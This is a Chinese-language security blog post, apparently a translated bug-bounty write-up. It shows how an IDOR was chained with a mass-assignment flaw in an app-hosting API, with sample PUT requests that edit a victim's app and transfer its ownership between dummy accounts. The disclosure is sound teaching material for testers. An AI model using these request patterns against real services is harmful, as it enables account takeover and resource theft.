串联IDOR与业务逻辑漏洞实现关键性攻击

本文详细描述了如何通过串联不安全的直接对象引用(IDOR)和业务逻辑错误,实现对Web应用中任意应用的完全控制,包括修改和转移所有权,最终导致系统权限模型的彻底崩溃。

串联IDOR与业务逻辑漏洞实现关键性攻击

我最近偶然发现了一个严重的访问控制失效实例,并认为其故事值得写成一篇有趣的博客文章。为了简洁明了,我故意省略了一些细节(例如不相关的HTTP头部)。此外,出于明显原因,所有可能泄露我攻击组织身份的线索都已从本文中删除。

关于目标

目标是一个允许用户通过基于Web的仪表板创建服务器端应用的服务。每个应用由一个且仅一个账户拥有,账户之间应该是完全隔离的。创建应用需要为其选择标题和URL。每个应用在创建时会被分配一个UUID。应用的UUID是公开的,因为其前端对应部分需要明确引用它。账户可以:

  • 创建新应用;
  • 修改其拥有的应用的标题和URL;
  • 删除其拥有的应用(此操作不可撤销)。

转向关注访问控制

我很快发现了一些低到中危漏洞,并迅速报告了它们。没什么值得大书特书的。因为UI看起来时尚,系统整体上构建良好,我不确定是否能找到高于中危严重性的东西。那时我决定将注意力转向访问控制。也许一些不安全的直接对象引用(IDOR)至今还未被我注意到……

准备IDOR狩猎

对于Web黑客攻击,我通常在Firefox中操作Web应用,并通过Burp代理所有相关流量。我最近将Firefox多账户容器添加到我的访问控制测试技巧包中。这个Firefox插件有点像加强版的隐私窗口:它允许你轻松在会话之间切换,但避免了反复以一个用户注销并以另一个用户登录的需要。因此,这个工具消除了手动IDOR狩猎的一些繁琐,我希望我早点知道它。关于Firefox多账户容器的良好介绍,可以查看Katie关于该主题的视频(谢谢,Katie!)。

像许多其他安全研究人员一样,我通常至少创建两个虚拟账户(如果可能)。然后我可以安全地检查,在登录为另一个账户时,戳刺一个账户拥有的资源是否有任何效果;这样,我就不冒干扰系统合法用户拥有的资源的风险。这次参与也不例外:我创建了两个虚拟账户,分别被分配ID 101和102。我决定使用账户101扮演攻击者,账户102扮演受害者。我继续在每个账户中创建一个应用,它们被分配了以下UUID(为本文简化):

  • 10110110-1101-1011-0110-110110110110(由账户101拥有,攻击者)
  • 10210210-2102-1021-0210-210210210210(由账户102拥有,受害者)

URL中的顺序账户ID,但没有IDOR

在我的代理历史中,我注意到,每当我查看在攻击者账户下创建的应用时,会发出以下请求:

1
2
3
GET /accounts/101/apps/10110110-1101-1011-0110-110110110110
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>

有些有趣的东西立刻引起了我的注意:账户由顺序整数标识。公开由顺序整数标识的资源总是对攻击者有兴趣。因为顺序ID很容易枚举,它们至少可以被利用来揭示比组织意识到的更多商业智能:外部观察者确实可以监控新ID的发放速率,以衡量系统被使用的程度,并推断业务的表现。更重要的是,在使用顺序ID的地方找到脆弱的注入点是很常见的。

因此,我最初尝试在登录为攻击者时访问受害者拥有的应用资源:

1
2
3
GET /accounts/102/apps/10210210-2102-1021-0210-210210210210
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>

但响应如你所期望的安全系统:

1
2
3
4
5
6
7
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "statusCode": 403,
  "message": "You do not have permission to perform this request."
}

换句话说:你不应通过!我找到IDOR的希望有些破灭,但我决定继续我的调查,不受阻碍。

一个可疑但不确定的GET响应……

经过一些思考,我有了另一个想法:如果我在URL路径中用攻击者应用的UUID替换受害者应用的UUID会发生什么?所以我尝试了:

1
2
3
GET /accounts/101/apps/10210210-2102-1021-0210-210210210210
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>

响应让我困惑:

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

null

为什么使用text/html作为内容类型而不是application/json?更重要的是,为什么使用200作为响应状态码而不是404?后者比前者更合适:毕竟,账户101下不存在具有该UUID的应用。也许这只是一个实现怪癖,或者我发现了什么。

……PUT让我走上正轨

检查我的代理历史后,我注意到修改攻击者应用的设置会发出如下请求:

1
2
3
4
5
6
7
8
9
PUT /accounts/101/apps/10110110-1101-1011-0110-110110110110 HTTP/1.1
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>
Content-Type: application/json

{
  "title": "dummy app in account 101",
  "url": "https://jub0bs.com"
}

虽然我无法访问另一个账户的应用,但也许我可以修改它。我发出以下PUT请求,尝试在登录为攻击者时修改受害者的应用:

1
2
3
4
5
6
7
8
9
PUT /accounts/101/apps/10210210-2102-1021-0210-210210210210 HTTP/1.1
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>
Content-Type: application/json

{
  "title": "pwned by account 101!",
  "url": "https://evilzone.org"
}

响应看起来有希望:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
  "uuid": "10210210-2102-1021-0210-210210210210",
  "title": "pwned by account 101!",
  "url": "https://evilzone.org",
  "isLive": true,
  "accountId": 102
}

我显然刚刚在登录为攻击者时更改了受害者应用的标题和URL。我切换到受害者的会话进行双重检查:果然,页面刷新后,攻击者的更改反映在受害者的仪表板上。我如此渴望的IDOR终于在我眼前实现了!我刚刚发现任何账户都可以更改系统中任何应用的标题和URL。因此,这个漏洞本应被评为高危,但我很高兴我没有就此止步。

窃取受害者的应用

我正要报告我刚发现的IDOR,这时PUT响应体中的某些东西引起了我的注意:可疑的accountId字段存在。这种重复似乎是多余的:为什么在响应体中指定拥有应用的账户ID,既然该ID已经在URL路径中指定?这向我暗示了另一种攻击:即使应用唯一可修改的属性是其标题和URL,也许一些业务逻辑错误会允许我通过简单地在PUT请求的JSON体中指定相关字段来更改其他应用属性。

因为修改应用的账户ID对我特别有兴趣,我发出以下请求:

1
2
3
4
5
6
7
8
PUT /accounts/101/apps/10210210-2102-1021-0210-210210210210 HTTP/1.1
Host: api.example.org
Authorization: Bearer <token-valid-for-account-101>
Content-Type: application/json

{
  "accountId": 101
}

这是我得到的响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
  "uuid": "10210210-2102-1021-0210-210210210210",
  "title": "pwned by account 101!",
  "url": "https://evilzone.org",
  "isLive": true,
  "accountId": 101
}

震惊!我似乎刚刚将受害者应用的所有权转移到了攻击者的账户,仅仅通过从攻击者的会话发出PUT请求。带着无法抑制的兴奋,我迅速在UI中双重检查攻击是否成功。是的!攻击者的仪表板现在列出了两个应用(攻击者创建的应用和受害者创建的应用),而受害者的仪表板没有列出任何应用。

系统的完全妥协

当然,这种攻击不仅限于我的两个虚拟账户:仅仅通过知道应用的UUID(记住:它们是公开的),我可以将应用的所有权从任何账户转移到我控制的账户。我随后意识到我可以通过这种方式修改更多应用属性:PUT请求或多或少盲目接受我在体中指定的任何已知字段,并实施所需的更改。这种特定的业务逻辑错误属于CWE-915:对动态确定的对象属性的不当控制修改。它在性质上类似于Egor Homakov在2012年向GitHub报告的大规模分配漏洞。

此外,应用创建和删除(分别通过POST和DELETE请求)也遭受相同的IDOR漏洞。在那个阶段,我实际上可以拥有系统中的任何应用。不用说,我的发现完全违反了系统的权限模型。加剧问题的是,这个系统背后的组织正在自用(dogfooding)它,而且他们应用的UUID可以轻易在他们的网站上发现!我(有些困难地)抵制了干扰他们主要应用的诱惑;毕竟,我已经收集了所有需要的证据,而轻率只会损害我与组织的关系。我以严重性评级为关键报告了这个问题。

结论

狩猎IDOR可能很繁琐,但找到一个令人兴奋。许多IDOR是唾手可得的——只要检测和利用它们不需要任何高级技术技能——而且它们通常对目标的安全性有重大影响,尤其是当你可以将它们与其他漏洞串联时。我知道从现在开始我会对过度信任的PUT请求保持警惕。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计